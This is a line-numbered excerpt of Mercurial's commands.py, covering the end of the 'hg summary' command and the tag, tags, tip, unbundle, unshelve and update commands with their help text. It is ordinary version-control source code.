7035 7038 ctx = repo[None]
7036 7039 parents = ctx.parents()
7037 7040 pnode = parents[0].node()
7038 7041 marks = []
7039 7042
7040 7043 try:
7041 7044 ms = mergestatemod.mergestate.read(repo)
7042 7045 except error.UnsupportedMergeRecords as e:
7043 7046 s = b' '.join(e.recordtypes)
7044 7047 ui.warn(
7045 7048 _(b'warning: merge state has unsupported record types: %s\n') % s
7046 7049 )
7047 7050 unresolved = []
7048 7051 else:
7049 7052 unresolved = list(ms.unresolved())
7050 7053
7051 7054 for p in parents:
7052 7055 # label with log.changeset (instead of log.parent) since this
7053 7056 # shows a working directory parent *changeset*:
7054 7057 # i18n: column positioning for "hg summary"
7055 7058 ui.write(
7056 7059 _(b'parent: %d:%s ') % (p.rev(), p),
7057 7060 label=logcmdutil.changesetlabels(p),
7058 7061 )
7059 7062 ui.write(b' '.join(p.tags()), label=b'log.tag')
7060 7063 if p.bookmarks():
7061 7064 marks.extend(p.bookmarks())
7062 7065 if p.rev() == -1:
7063 7066 if not len(repo):
7064 7067 ui.write(_(b' (empty repository)'))
7065 7068 else:
7066 7069 ui.write(_(b' (no revision checked out)'))
7067 7070 if p.obsolete():
7068 7071 ui.write(_(b' (obsolete)'))
7069 7072 if p.isunstable():
7070 7073 instabilities = (
7071 7074 ui.label(instability, b'trouble.%s' % instability)
7072 7075 for instability in p.instabilities()
7073 7076 )
7074 7077 ui.write(b' (' + b', '.join(instabilities) + b')')
7075 7078 ui.write(b'\n')
7076 7079 if p.description():
7077 7080 ui.status(
7078 7081 b' ' + p.description().splitlines()[0].strip() + b'\n',
7079 7082 label=b'log.summary',
7080 7083 )
7081 7084
7082 7085 branch = ctx.branch()
7083 7086 bheads = repo.branchheads(branch)
7084 7087 # i18n: column positioning for "hg summary"
7085 7088 m = _(b'branch: %s\n') % branch
7086 7089 if branch != b'default':
7087 7090 ui.write(m, label=b'log.branch')
7088 7091 else:
7089 7092 ui.status(m, label=b'log.branch')
7090 7093
7091 7094 if marks:
7092 7095 active = repo._activebookmark
7093 7096 # i18n: column positioning for "hg summary"
7094 7097 ui.write(_(b'bookmarks:'), label=b'log.bookmark')
7095 7098 if active is not None:
7096 7099 if active in marks:
7097 7100 ui.write(b' *' + active, label=bookmarks.activebookmarklabel)
7098 7101 marks.remove(active)
7099 7102 else:
7100 7103 ui.write(b' [%s]' % active, label=bookmarks.activebookmarklabel)
7101 7104 for m in marks:
7102 7105 ui.write(b' ' + m, label=b'log.bookmark')
7103 7106 ui.write(b'\n', label=b'log.bookmark')
7104 7107
7105 7108 status = repo.status(unknown=True)
7106 7109
7107 7110 c = repo.dirstate.copies()
7108 7111 copied, renamed = [], []
7109 7112 for d, s in pycompat.iteritems(c):
7110 7113 if s in status.removed:
7111 7114 status.removed.remove(s)
7112 7115 renamed.append(d)
7113 7116 else:
7114 7117 copied.append(d)
7115 7118 if d in status.added:
7116 7119 status.added.remove(d)
7117 7120
7118 7121 subs = [s for s in ctx.substate if ctx.sub(s).dirty()]
7119 7122
7120 7123 labels = [
7121 7124 (ui.label(_(b'%d modified'), b'status.modified'), status.modified),
7122 7125 (ui.label(_(b'%d added'), b'status.added'), status.added),
7123 7126 (ui.label(_(b'%d removed'), b'status.removed'), status.removed),
7124 7127 (ui.label(_(b'%d renamed'), b'status.copied'), renamed),
7125 7128 (ui.label(_(b'%d copied'), b'status.copied'), copied),
7126 7129 (ui.label(_(b'%d deleted'), b'status.deleted'), status.deleted),
7127 7130 (ui.label(_(b'%d unknown'), b'status.unknown'), status.unknown),
7128 7131 (ui.label(_(b'%d unresolved'), b'resolve.unresolved'), unresolved),
7129 7132 (ui.label(_(b'%d subrepos'), b'status.modified'), subs),
7130 7133 ]
7131 7134 t = []
7132 7135 for l, s in labels:
7133 7136 if s:
7134 7137 t.append(l % len(s))
7135 7138
7136 7139 t = b', '.join(t)
7137 7140 cleanworkdir = False
7138 7141
7139 7142 if repo.vfs.exists(b'graftstate'):
7140 7143 t += _(b' (graft in progress)')
7141 7144 if repo.vfs.exists(b'updatestate'):
7142 7145 t += _(b' (interrupted update)')
7143 7146 elif len(parents) > 1:
7144 7147 t += _(b' (merge)')
7145 7148 elif branch != parents[0].branch():
7146 7149 t += _(b' (new branch)')
7147 7150 elif parents[0].closesbranch() and pnode in repo.branchheads(
7148 7151 branch, closed=True
7149 7152 ):
7150 7153 t += _(b' (head closed)')
7151 7154 elif not (
7152 7155 status.modified
7153 7156 or status.added
7154 7157 or status.removed
7155 7158 or renamed
7156 7159 or copied
7157 7160 or subs
7158 7161 ):
7159 7162 t += _(b' (clean)')
7160 7163 cleanworkdir = True
7161 7164 elif pnode not in bheads:
7162 7165 t += _(b' (new branch head)')
7163 7166
7164 7167 if parents:
7165 7168 pendingphase = max(p.phase() for p in parents)
7166 7169 else:
7167 7170 pendingphase = phases.public
7168 7171
7169 7172 if pendingphase > phases.newcommitphase(ui):
7170 7173 t += b' (%s)' % phases.phasenames[pendingphase]
7171 7174
7172 7175 if cleanworkdir:
7173 7176 # i18n: column positioning for "hg summary"
7174 7177 ui.status(_(b'commit: %s\n') % t.strip())
7175 7178 else:
7176 7179 # i18n: column positioning for "hg summary"
7177 7180 ui.write(_(b'commit: %s\n') % t.strip())
7178 7181
7179 7182 # all ancestors of branch heads - all ancestors of parent = new csets
7180 7183 new = len(
7181 7184 repo.changelog.findmissing([pctx.node() for pctx in parents], bheads)
7182 7185 )
7183 7186
7184 7187 if new == 0:
7185 7188 # i18n: column positioning for "hg summary"
7186 7189 ui.status(_(b'update: (current)\n'))
7187 7190 elif pnode not in bheads:
7188 7191 # i18n: column positioning for "hg summary"
7189 7192 ui.write(_(b'update: %d new changesets (update)\n') % new)
7190 7193 else:
7191 7194 # i18n: column positioning for "hg summary"
7192 7195 ui.write(
7193 7196 _(b'update: %d new changesets, %d branch heads (merge)\n')
7194 7197 % (new, len(bheads))
7195 7198 )
7196 7199
7197 7200 t = []
7198 7201 draft = len(repo.revs(b'draft()'))
7199 7202 if draft:
7200 7203 t.append(_(b'%d draft') % draft)
7201 7204 secret = len(repo.revs(b'secret()'))
7202 7205 if secret:
7203 7206 t.append(_(b'%d secret') % secret)
7204 7207
7205 7208 if draft or secret:
7206 7209 ui.status(_(b'phases: %s\n') % b', '.join(t))
7207 7210
7208 7211 if obsolete.isenabled(repo, obsolete.createmarkersopt):
7209 7212 for trouble in (b"orphan", b"contentdivergent", b"phasedivergent"):
7210 7213 numtrouble = len(repo.revs(trouble + b"()"))
7211 7214 # We write all the possibilities to ease translation
7212 7215 troublemsg = {
7213 7216 b"orphan": _(b"orphan: %d changesets"),
7214 7217 b"contentdivergent": _(b"content-divergent: %d changesets"),
7215 7218 b"phasedivergent": _(b"phase-divergent: %d changesets"),
7216 7219 }
7217 7220 if numtrouble > 0:
7218 7221 ui.status(troublemsg[trouble] % numtrouble + b"\n")
7219 7222
7220 7223 cmdutil.summaryhooks(ui, repo)
7221 7224
7222 7225 if opts.get(b'remote'):
7223 7226 needsincoming, needsoutgoing = True, True
7224 7227 else:
7225 7228 needsincoming, needsoutgoing = False, False
7226 7229 for i, o in cmdutil.summaryremotehooks(ui, repo, opts, None):
7227 7230 if i:
7228 7231 needsincoming = True
7229 7232 if o:
7230 7233 needsoutgoing = True
7231 7234 if not needsincoming and not needsoutgoing:
7232 7235 return
7233 7236
7234 7237 def getincoming():
7235 7238 # XXX We should actually skip this if no default is specified, instead
7236 7239 # of passing "default" which will resolve as "./default/" if no default
7237 7240 # path is defined.
7238 7241 source, branches = urlutil.get_unique_pull_path(
7239 7242 b'summary', repo, ui, b'default'
7240 7243 )
7241 7244 sbranch = branches[0]
7242 7245 try:
7243 7246 other = hg.peer(repo, {}, source)
7244 7247 except error.RepoError:
7245 7248 if opts.get(b'remote'):
7246 7249 raise
7247 7250 return source, sbranch, None, None, None
7248 7251 revs, checkout = hg.addbranchrevs(repo, other, branches, None)
7249 7252 if revs:
7250 7253 revs = [other.lookup(rev) for rev in revs]
7251 7254 ui.debug(b'comparing with %s\n' % urlutil.hidepassword(source))
7252 7255 with repo.ui.silent():
7253 7256 commoninc = discovery.findcommonincoming(repo, other, heads=revs)
7254 7257 return source, sbranch, other, commoninc, commoninc[1]
7255 7258
7256 7259 if needsincoming:
7257 7260 source, sbranch, sother, commoninc, incoming = getincoming()
7258 7261 else:
7259 7262 source = sbranch = sother = commoninc = incoming = None
7260 7263
7261 7264 def getoutgoing():
7262 7265 # XXX We should actually skip this if no default is specified, instead
7263 7266 # of passing "default" which will resolve as "./default/" if no default
7264 7267 # path is defined.
7265 7268 d = None
7266 7269 if b'default-push' in ui.paths:
7267 7270 d = b'default-push'
7268 7271 elif b'default' in ui.paths:
7269 7272 d = b'default'
7270 7273 if d is not None:
7271 7274 path = urlutil.get_unique_push_path(b'summary', repo, ui, d)
7272 7275 dest = path.pushloc or path.loc
7273 7276 dbranch = path.branch
7274 7277 else:
7275 7278 dest = b'default'
7276 7279 dbranch = None
7277 7280 revs, checkout = hg.addbranchrevs(repo, repo, (dbranch, []), None)
7278 7281 if source != dest:
7279 7282 try:
7280 7283 dother = hg.peer(repo, {}, dest)
7281 7284 except error.RepoError:
7282 7285 if opts.get(b'remote'):
7283 7286 raise
7284 7287 return dest, dbranch, None, None
7285 7288 ui.debug(b'comparing with %s\n' % urlutil.hidepassword(dest))
7286 7289 elif sother is None:
7287 7290 # there is no explicit destination peer, but source one is invalid
7288 7291 return dest, dbranch, None, None
7289 7292 else:
7290 7293 dother = sother
7291 7294 if source != dest or (sbranch is not None and sbranch != dbranch):
7292 7295 common = None
7293 7296 else:
7294 7297 common = commoninc
7295 7298 if revs:
7296 7299 revs = [repo.lookup(rev) for rev in revs]
7297 7300 with repo.ui.silent():
7298 7301 outgoing = discovery.findcommonoutgoing(
7299 7302 repo, dother, onlyheads=revs, commoninc=common
7300 7303 )
7301 7304 return dest, dbranch, dother, outgoing
7302 7305
7303 7306 if needsoutgoing:
7304 7307 dest, dbranch, dother, outgoing = getoutgoing()
7305 7308 else:
7306 7309 dest = dbranch = dother = outgoing = None
7307 7310
7308 7311 if opts.get(b'remote'):
7309 7312 # Help pytype. --remote sets both `needsincoming` and `needsoutgoing`.
7310 7313 # The former always sets `sother` (or raises an exception if it can't);
7311 7314 # the latter always sets `outgoing`.
7312 7315 assert sother is not None
7313 7316 assert outgoing is not None
7314 7317
7315 7318 t = []
7316 7319 if incoming:
7317 7320 t.append(_(b'1 or more incoming'))
7318 7321 o = outgoing.missing
7319 7322 if o:
7320 7323 t.append(_(b'%d outgoing') % len(o))
7321 7324 other = dother or sother
7322 7325 if b'bookmarks' in other.listkeys(b'namespaces'):
7323 7326 counts = bookmarks.summary(repo, other)
7324 7327 if counts[0] > 0:
7325 7328 t.append(_(b'%d incoming bookmarks') % counts[0])
7326 7329 if counts[1] > 0:
7327 7330 t.append(_(b'%d outgoing bookmarks') % counts[1])
7328 7331
7329 7332 if t:
7330 7333 # i18n: column positioning for "hg summary"
7331 7334 ui.write(_(b'remote: %s\n') % (b', '.join(t)))
7332 7335 else:
7333 7336 # i18n: column positioning for "hg summary"
7334 7337 ui.status(_(b'remote: (synced)\n'))
7335 7338
7336 7339 cmdutil.summaryremotehooks(
7337 7340 ui,
7338 7341 repo,
7339 7342 opts,
7340 7343 (
7341 7344 (source, sbranch, sother, commoninc),
7342 7345 (dest, dbranch, dother, outgoing),
7343 7346 ),
7344 7347 )
7345 7348
7346 7349
7347 7350 @command(
7348 7351 b'tag',
7349 7352 [
7350 7353 (b'f', b'force', None, _(b'force tag')),
7351 7354 (b'l', b'local', None, _(b'make the tag local')),
7352 7355 (b'r', b'rev', b'', _(b'revision to tag'), _(b'REV')),
7353 7356 (b'', b'remove', None, _(b'remove a tag')),
7354 7357 # -l/--local is already there, commitopts cannot be used
7355 7358 (b'e', b'edit', None, _(b'invoke editor on commit messages')),
7356 7359 (b'm', b'message', b'', _(b'use text as commit message'), _(b'TEXT')),
7357 7360 ]
7358 7361 + commitopts2,
7359 7362 _(b'[-f] [-l] [-m TEXT] [-d DATE] [-u USER] [-r REV] NAME...'),
7360 7363 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
7361 7364 )
7362 7365 def tag(ui, repo, name1, *names, **opts):
7363 7366 """add one or more tags for the current or given revision
7364 7367
7365 7368 Name a particular revision using <name>.
7366 7369
7367 7370 Tags are used to name particular revisions of the repository and are
7368 7371 very useful to compare different revisions, to go back to significant
7369 7372 earlier versions or to mark branch points as releases, etc. Changing
7370 7373 an existing tag is normally disallowed; use -f/--force to override.
7371 7374
7372 7375 If no revision is given, the parent of the working directory is
7373 7376 used.
7374 7377
7375 7378 To facilitate version control, distribution, and merging of tags,
7376 7379 they are stored as a file named ".hgtags" which is managed similarly
7377 7380 to other project files and can be hand-edited if necessary. This
7378 7381 also means that tagging creates a new commit. The file
7379 7382 ".hg/localtags" is used for local tags (not shared among
7380 7383 repositories).
7381 7384
7382 7385 Tag commits are usually made at the head of a branch. If the parent
7383 7386 of the working directory is not a branch head, :hg:`tag` aborts; use
7384 7387 -f/--force to force the tag commit to be based on a non-head
7385 7388 changeset.
7386 7389
7387 7390 See :hg:`help dates` for a list of formats valid for -d/--date.
7388 7391
7389 7392 Since tag names have priority over branch names during revision
7390 7393 lookup, using an existing branch name as a tag name is discouraged.
7391 7394
7392 7395 Returns 0 on success.
7393 7396 """
7394 7397 cmdutil.check_incompatible_arguments(opts, 'remove', ['rev'])
7395 7398 opts = pycompat.byteskwargs(opts)
7396 7399 with repo.wlock(), repo.lock():
7397 7400 rev_ = b"."
7398 7401 names = [t.strip() for t in (name1,) + names]
7399 7402 if len(names) != len(set(names)):
7400 7403 raise error.InputError(_(b'tag names must be unique'))
7401 7404 for n in names:
7402 7405 scmutil.checknewlabel(repo, n, b'tag')
7403 7406 if not n:
7404 7407 raise error.InputError(
7405 7408 _(b'tag names cannot consist entirely of whitespace')
7406 7409 )
7407 7410 if opts.get(b'rev'):
7408 7411 rev_ = opts[b'rev']
7409 7412 message = opts.get(b'message')
7410 7413 if opts.get(b'remove'):
7411 7414 if opts.get(b'local'):
7412 7415 expectedtype = b'local'
7413 7416 else:
7414 7417 expectedtype = b'global'
7415 7418
7416 7419 for n in names:
7417 7420 if repo.tagtype(n) == b'global':
7418 7421 alltags = tagsmod.findglobaltags(ui, repo)
7419 7422 if alltags[n][0] == repo.nullid:
7420 7423 raise error.InputError(
7421 7424 _(b"tag '%s' is already removed") % n
7422 7425 )
7423 7426 if not repo.tagtype(n):
7424 7427 raise error.InputError(_(b"tag '%s' does not exist") % n)
7425 7428 if repo.tagtype(n) != expectedtype:
7426 7429 if expectedtype == b'global':
7427 7430 raise error.InputError(
7428 7431 _(b"tag '%s' is not a global tag") % n
7429 7432 )
7430 7433 else:
7431 7434 raise error.InputError(
7432 7435 _(b"tag '%s' is not a local tag") % n
7433 7436 )
7434 7437 rev_ = b'null'
7435 7438 if not message:
7436 7439 # we don't translate commit messages
7437 7440 message = b'Removed tag %s' % b', '.join(names)
7438 7441 elif not opts.get(b'force'):
7439 7442 for n in names:
7440 7443 if n in repo.tags():
7441 7444 raise error.InputError(
7442 7445 _(b"tag '%s' already exists (use -f to force)") % n
7443 7446 )
7444 7447 if not opts.get(b'local'):
7445 7448 p1, p2 = repo.dirstate.parents()
7446 7449 if p2 != repo.nullid:
7447 7450 raise error.StateError(_(b'uncommitted merge'))
7448 7451 bheads = repo.branchheads()
7449 7452 if not opts.get(b'force') and bheads and p1 not in bheads:
7450 7453 raise error.InputError(
7451 7454 _(
7452 7455 b'working directory is not at a branch head '
7453 7456 b'(use -f to force)'
7454 7457 )
7455 7458 )
7456 7459 node = logcmdutil.revsingle(repo, rev_).node()
7457 7460
7458 7461 if not message:
7459 7462 # we don't translate commit messages
7460 7463 message = b'Added tag %s for changeset %s' % (
7461 7464 b', '.join(names),
7462 7465 short(node),
7463 7466 )
7464 7467
7465 7468 date = opts.get(b'date')
7466 7469 if date:
7467 7470 date = dateutil.parsedate(date)
7468 7471
7469 7472 if opts.get(b'remove'):
7470 7473 editform = b'tag.remove'
7471 7474 else:
7472 7475 editform = b'tag.add'
7473 7476 editor = cmdutil.getcommiteditor(
7474 7477 editform=editform, **pycompat.strkwargs(opts)
7475 7478 )
7476 7479
7477 7480 # don't allow tagging the null rev
7478 7481 if (
7479 7482 not opts.get(b'remove')
7480 7483 and logcmdutil.revsingle(repo, rev_).rev() == nullrev
7481 7484 ):
7482 7485 raise error.InputError(_(b"cannot tag null revision"))
7483 7486
7484 7487 tagsmod.tag(
7485 7488 repo,
7486 7489 names,
7487 7490 node,
7488 7491 message,
7489 7492 opts.get(b'local'),
7490 7493 opts.get(b'user'),
7491 7494 date,
7492 7495 editor=editor,
7493 7496 )
7494 7497
7495 7498
7496 7499 @command(
7497 7500 b'tags',
7498 7501 formatteropts,
7499 7502 b'',
7500 7503 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
7501 7504 intents={INTENT_READONLY},
7502 7505 )
7503 7506 def tags(ui, repo, **opts):
7504 7507 """list repository tags
7505 7508
7506 7509 This lists both regular and local tags. When the -v/--verbose
7507 7510 switch is used, a third column "local" is printed for local tags.
7508 7511 When the -q/--quiet switch is used, only the tag name is printed.
7509 7512
7510 7513 .. container:: verbose
7511 7514
7512 7515 Template:
7513 7516
7514 7517 The following keywords are supported in addition to the common template
7515 7518 keywords and functions such as ``{tag}``. See also
7516 7519 :hg:`help templates`.
7517 7520
7518 7521 :type: String. ``local`` for local tags.
7519 7522
7520 7523 Returns 0 on success.
7521 7524 """
7522 7525
7523 7526 opts = pycompat.byteskwargs(opts)
7524 7527 ui.pager(b'tags')
7525 7528 fm = ui.formatter(b'tags', opts)
7526 7529 hexfunc = fm.hexfunc
7527 7530
7528 7531 for t, n in reversed(repo.tagslist()):
7529 7532 hn = hexfunc(n)
7530 7533 label = b'tags.normal'
7531 7534 tagtype = repo.tagtype(t)
7532 7535 if not tagtype or tagtype == b'global':
7533 7536 tagtype = b''
7534 7537 else:
7535 7538 label = b'tags.' + tagtype
7536 7539
7537 7540 fm.startitem()
7538 7541 fm.context(repo=repo)
7539 7542 fm.write(b'tag', b'%s', t, label=label)
7540 7543 fmt = b" " * (30 - encoding.colwidth(t)) + b' %5d:%s'
7541 7544 fm.condwrite(
7542 7545 not ui.quiet,
7543 7546 b'rev node',
7544 7547 fmt,
7545 7548 repo.changelog.rev(n),
7546 7549 hn,
7547 7550 label=label,
7548 7551 )
7549 7552 fm.condwrite(
7550 7553 ui.verbose and tagtype, b'type', b' %s', tagtype, label=label
7551 7554 )
7552 7555 fm.plain(b'\n')
7553 7556 fm.end()
7554 7557
7555 7558
7556 7559 @command(
7557 7560 b'tip',
7558 7561 [
7559 7562 (b'p', b'patch', None, _(b'show patch')),
7560 7563 (b'g', b'git', None, _(b'use git extended diff format')),
7561 7564 ]
7562 7565 + templateopts,
7563 7566 _(b'[-p] [-g]'),
7564 7567 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
7565 7568 )
7566 7569 def tip(ui, repo, **opts):
7567 7570 """show the tip revision (DEPRECATED)
7568 7571
7569 7572 The tip revision (usually just called the tip) is the changeset
7570 7573 most recently added to the repository (and therefore the most
7571 7574 recently changed head).
7572 7575
7573 7576 If you have just made a commit, that commit will be the tip. If
7574 7577 you have just pulled changes from another repository, the tip of
7575 7578 that repository becomes the current tip. The "tip" tag is special
7576 7579 and cannot be renamed or assigned to a different changeset.
7577 7580
7578 7581 This command is deprecated, please use :hg:`heads` instead.
7579 7582
7580 7583 Returns 0 on success.
7581 7584 """
7582 7585 opts = pycompat.byteskwargs(opts)
7583 7586 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
7584 7587 displayer.show(repo[b'tip'])
7585 7588 displayer.close()
7586 7589
7587 7590
7588 7591 @command(
7589 7592 b'unbundle',
7590 7593 [
7591 7594 (
7592 7595 b'u',
7593 7596 b'update',
7594 7597 None,
7595 7598 _(b'update to new branch head if changesets were unbundled'),
7596 7599 )
7597 7600 ],
7598 7601 _(b'[-u] FILE...'),
7599 7602 helpcategory=command.CATEGORY_IMPORT_EXPORT,
7600 7603 )
7601 7604 def unbundle(ui, repo, fname1, *fnames, **opts):
7602 7605 """apply one or more bundle files
7603 7606
7604 7607 Apply one or more bundle files generated by :hg:`bundle`.
7605 7608
7606 7609 Returns 0 on success, 1 if an update has unresolved files.
7607 7610 """
7608 7611 fnames = (fname1,) + fnames
7609 7612
7610 7613 with repo.lock():
7611 7614 for fname in fnames:
7612 7615 f = hg.openpath(ui, fname)
7613 7616 gen = exchange.readbundle(ui, f, fname)
7614 7617 if isinstance(gen, streamclone.streamcloneapplier):
7615 7618 raise error.InputError(
7616 7619 _(
7617 7620 b'packed bundles cannot be applied with '
7618 7621 b'"hg unbundle"'
7619 7622 ),
7620 7623 hint=_(b'use "hg debugapplystreamclonebundle"'),
7621 7624 )
7622 7625 url = b'bundle:' + fname
7623 7626 try:
7624 7627 txnname = b'unbundle'
7625 7628 if not isinstance(gen, bundle2.unbundle20):
7626 7629 txnname = b'unbundle\n%s' % urlutil.hidepassword(url)
7627 7630 with repo.transaction(txnname) as tr:
7628 7631 op = bundle2.applybundle(
7629 7632 repo, gen, tr, source=b'unbundle', url=url
7630 7633 )
7631 7634 except error.BundleUnknownFeatureError as exc:
7632 7635 raise error.Abort(
7633 7636 _(b'%s: unknown bundle feature, %s') % (fname, exc),
7634 7637 hint=_(
7635 7638 b"see https://mercurial-scm.org/"
7636 7639 b"wiki/BundleFeature for more "
7637 7640 b"information"
7638 7641 ),
7639 7642 )
7640 7643 modheads = bundle2.combinechangegroupresults(op)
7641 7644
7642 7645 if postincoming(ui, repo, modheads, opts.get('update'), None, None):
7643 7646 return 1
7644 7647 else:
7645 7648 return 0
7646 7649
7647 7650
7648 7651 @command(
7649 7652 b'unshelve',
7650 7653 [
7651 7654 (b'a', b'abort', None, _(b'abort an incomplete unshelve operation')),
7652 7655 (
7653 7656 b'c',
7654 7657 b'continue',
7655 7658 None,
7656 7659 _(b'continue an incomplete unshelve operation'),
7657 7660 ),
7658 7661 (b'i', b'interactive', None, _(b'use interactive mode (EXPERIMENTAL)')),
7659 7662 (b'k', b'keep', None, _(b'keep shelve after unshelving')),
7660 7663 (
7661 7664 b'n',
7662 7665 b'name',
7663 7666 b'',
7664 7667 _(b'restore shelved change with given name'),
7665 7668 _(b'NAME'),
7666 7669 ),
7667 7670 (b't', b'tool', b'', _(b'specify merge tool')),
7668 7671 (
7669 7672 b'',
7670 7673 b'date',
7671 7674 b'',
7672 7675 _(b'set date for temporary commits (DEPRECATED)'),
7673 7676 _(b'DATE'),
7674 7677 ),
7675 7678 ],
7676 7679 _(b'hg unshelve [OPTION]... [[-n] SHELVED]'),
7677 7680 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7678 7681 )
7679 7682 def unshelve(ui, repo, *shelved, **opts):
7680 7683 """restore a shelved change to the working directory
7681 7684
7682 7685 This command accepts an optional name of a shelved change to
7683 7686 restore. If none is given, the most recent shelved change is used.
7684 7687
7685 7688 If a shelved change is applied successfully, the bundle that
7686 7689 contains the shelved changes is moved to a backup location
7687 7690 (.hg/shelve-backup).
7688 7691
7689 7692 Since you can restore a shelved change on top of an arbitrary
7690 7693 commit, it is possible that unshelving will result in a conflict
7691 7694 between your changes and the commits you are unshelving onto. If
7692 7695 this occurs, you must resolve the conflict, then use
7693 7696 ``--continue`` to complete the unshelve operation. (The bundle
7694 7697 will not be moved until you successfully complete the unshelve.)
7695 7698
7696 7699 (Alternatively, you can use ``--abort`` to abandon an unshelve
7697 7700 that causes a conflict. This reverts the unshelved changes, and
7698 7701 leaves the bundle in place.)
7699 7702
7700 7703 If bare shelved change (without interactive, include and exclude
7701 7704 option) was done on newly created branch it would restore branch
7702 7705 information to the working directory.
7703 7706
7704 7707 After a successful unshelve, the shelved changes are stored in a
7705 7708 backup directory. Only the N most recent backups are kept. N
7706 7709 defaults to 10 but can be overridden using the ``shelve.maxbackups``
7707 7710 configuration option.
7708 7711
7709 7712 .. container:: verbose
7710 7713
7711 7714 Timestamp in seconds is used to decide order of backups. More
7712 7715 than ``maxbackups`` backups are kept, if same timestamp
7713 7716 prevents from deciding exact order of them, for safety.
7714 7717
7715 7718 Selected changes can be unshelved with ``--interactive`` flag.
7716 7719 The working directory is updated with the selected changes, and
7717 7720 only the unselected changes remain shelved.
7718 7721 Note: The whole shelve is applied to working directory first before
7719 7722 running interactively. So, this will bring up all the conflicts between
7720 7723 working directory and the shelve, irrespective of which changes will be
7721 7724 unshelved.
7722 7725 """
7723 7726 with repo.wlock():
7724 7727 return shelvemod.unshelvecmd(ui, repo, *shelved, **opts)
7725 7728
7726 7729
7727 7730 statemod.addunfinished(
7728 7731 b'unshelve',
7729 7732 fname=b'shelvedstate',
7730 7733 continueflag=True,
7731 7734 abortfunc=shelvemod.hgabortunshelve,
7732 7735 continuefunc=shelvemod.hgcontinueunshelve,
7733 7736 cmdmsg=_(b'unshelve already in progress'),
7734 7737 )
7735 7738
7736 7739
7737 7740 @command(
7738 7741 b'update|up|checkout|co',
7739 7742 [
7740 7743 (b'C', b'clean', None, _(b'discard uncommitted changes (no backup)')),
7741 7744 (b'c', b'check', None, _(b'require clean working directory')),
7742 7745 (b'm', b'merge', None, _(b'merge uncommitted changes')),
7743 7746 (b'd', b'date', b'', _(b'tipmost revision matching date'), _(b'DATE')),
7744 7747 (b'r', b'rev', b'', _(b'revision'), _(b'REV')),
7745 7748 ]
7746 7749 + mergetoolopts,
7747 7750 _(b'[-C|-c|-m] [-d DATE] [[-r] REV]'),
7748 7751 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7749 7752 helpbasic=True,
7750 7753 )
7751 7754 def update(ui, repo, node=None, **opts):
7752 7755 """update working directory (or switch revisions)
7753 7756
7754 7757 Update the repository's working directory to the specified
7755 7758 changeset. If no changeset is specified, update to the tip of the
7756 7759 current named branch and move the active bookmark (see :hg:`help
7757 7760 bookmarks`).
7758 7761
7759 7762 Update sets the working directory's parent revision to the specified
7760 7763 changeset (see :hg:`help parents`).
7761 7764
7762 7765 If the changeset is not a descendant or ancestor of the working
7763 7766 directory's parent and there are uncommitted changes, the update is
7764 7767 aborted. With the -c/--check option, the working directory is checked
7765 7768 for uncommitted changes; if none are found, the working directory is
7766 7769 updated to the specified changeset.
7767 7770
7768 7771 .. container:: verbose
7769 7772
7770 7773 The -C/--clean, -c/--check, and -m/--merge options control what
7771 7774 happens if the working directory contains uncommitted changes.
7772 7775 At most of one of them can be specified.
7773 7776
7774 7777 1. If no option is specified, and if
7775 7778 the requested changeset is an ancestor or descendant of
7776 7779 the working directory's parent, the uncommitted changes
7777 7780 are merged into the requested changeset and the merged
7778 7781 result is left uncommitted. If the requested changeset is
7779 7782 not an ancestor or descendant (that is, it is on another
7780 7783 branch), the update is aborted and the uncommitted changes
7781 7784 are preserved.
7782 7785
7783 7786 2. With the -m/--merge option, the update is allowed even if the
7784 7787 requested changeset is not an ancestor or descendant of
7785 7788 the working directory's parent.
7786 7789
7787 7790 3. With the -c/--check option, the update is aborted and the
7788 7791 uncommitted changes are preserved.
7789 7792
7790 7793 4. With the -C/--clean option, uncommitted changes are discarded and
7791 7794 the working directory is updated to the requested changeset.
7792 7795
7793 7796 To cancel an uncommitted merge (and lose your changes), use
7794 7797 :hg:`merge --abort`.
7795 7798
7796 7799 Use null as the changeset to remove the working directory (like
7797 7800 :hg:`clone -U`).
7798 7801
7799 7802 If you want to revert just one file to an older revision, use
7800 7803 :hg:`revert [-r REV] NAME`.
7801 7804
7802 7805 See :hg:`help dates` for a list of formats valid for -d/--date.
7803 7806
7804 7807 Returns 0 on success, 1 if there are unresolved files.
7805 7808 """
7806 7809 cmdutil.check_at_most_one_arg(opts, 'clean', 'check', 'merge')
7807 7810 rev = opts.get('rev')
7808 7811 date = opts.get('date')
7809 7812 clean = opts.get('clean')
7810 7813 check = opts.get('check')
7811 7814 merge = opts.get('merge')
7812 7815 if rev and node:
7813 7816 raise error.InputError(_(b"please specify just one revision"))
7814 7817
7815 7818 if ui.configbool(b'commands', b'update.requiredest'):
7816 7819 if not node and not rev and not date:
7817 7820 raise error.InputError(
7818 7821 _(b'you must specify a destination'),
7819 7822 hint=_(b'for example: hg update ".::"'),
7820 7823 )
7821 7824
7822 7825 if rev is None or rev == b'':
7823 7826 rev = node
7824 7827
7825 7828 if date and rev is not None:
7826 7829 raise error.InputError(_(b"you can't specify a revision and a date"))
7827 7830
7828 7831 updatecheck = None
7829 7832 if check:
7830 7833 updatecheck = b'abort'
7831 7834 elif merge:
7832 7835 updatecheck = b'none'
7833 7836
7834 7837 with repo.wlock():
7835 7838 cmdutil.clearunfinished(repo)
7836 7839 if date:
7837 7840 rev = cmdutil.finddate(ui, repo, date)
7838 7841
7839 7842 # if we defined a bookmark, we have to remember the original name
7840 7843 brev = rev
7841 7844 if rev:
7842 7845 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
7843 7846 ctx = logcmdutil.revsingle(repo, rev, default=None)
7844 7847 rev = ctx.rev()
7845 7848 hidden = ctx.hidden()
7846 7849 overrides = {(b'ui', b'forcemerge'): opts.get('tool', b'')}
7847 7850 with ui.configoverride(overrides, b'update'):
7848 7851 ret = hg.updatetotally(
7849 7852 ui, repo, rev, brev, clean=clean, updatecheck=updatecheck
7850 7853 )
7851 7854 if hidden:
7852 7855 ctxstr = ctx.hex()[:12]
7853 7856 ui.warn(_(b"updated to hidden changeset %s\n") % ctxstr)
7854 7857
7855 7858 if ctx.obsolete():
7856 7859 obsfatemsg = obsutil._getfilteredreason(repo, ctxstr, ctx)
7857 7860 ui.warn(b"(%s)\n" % obsfatemsg)
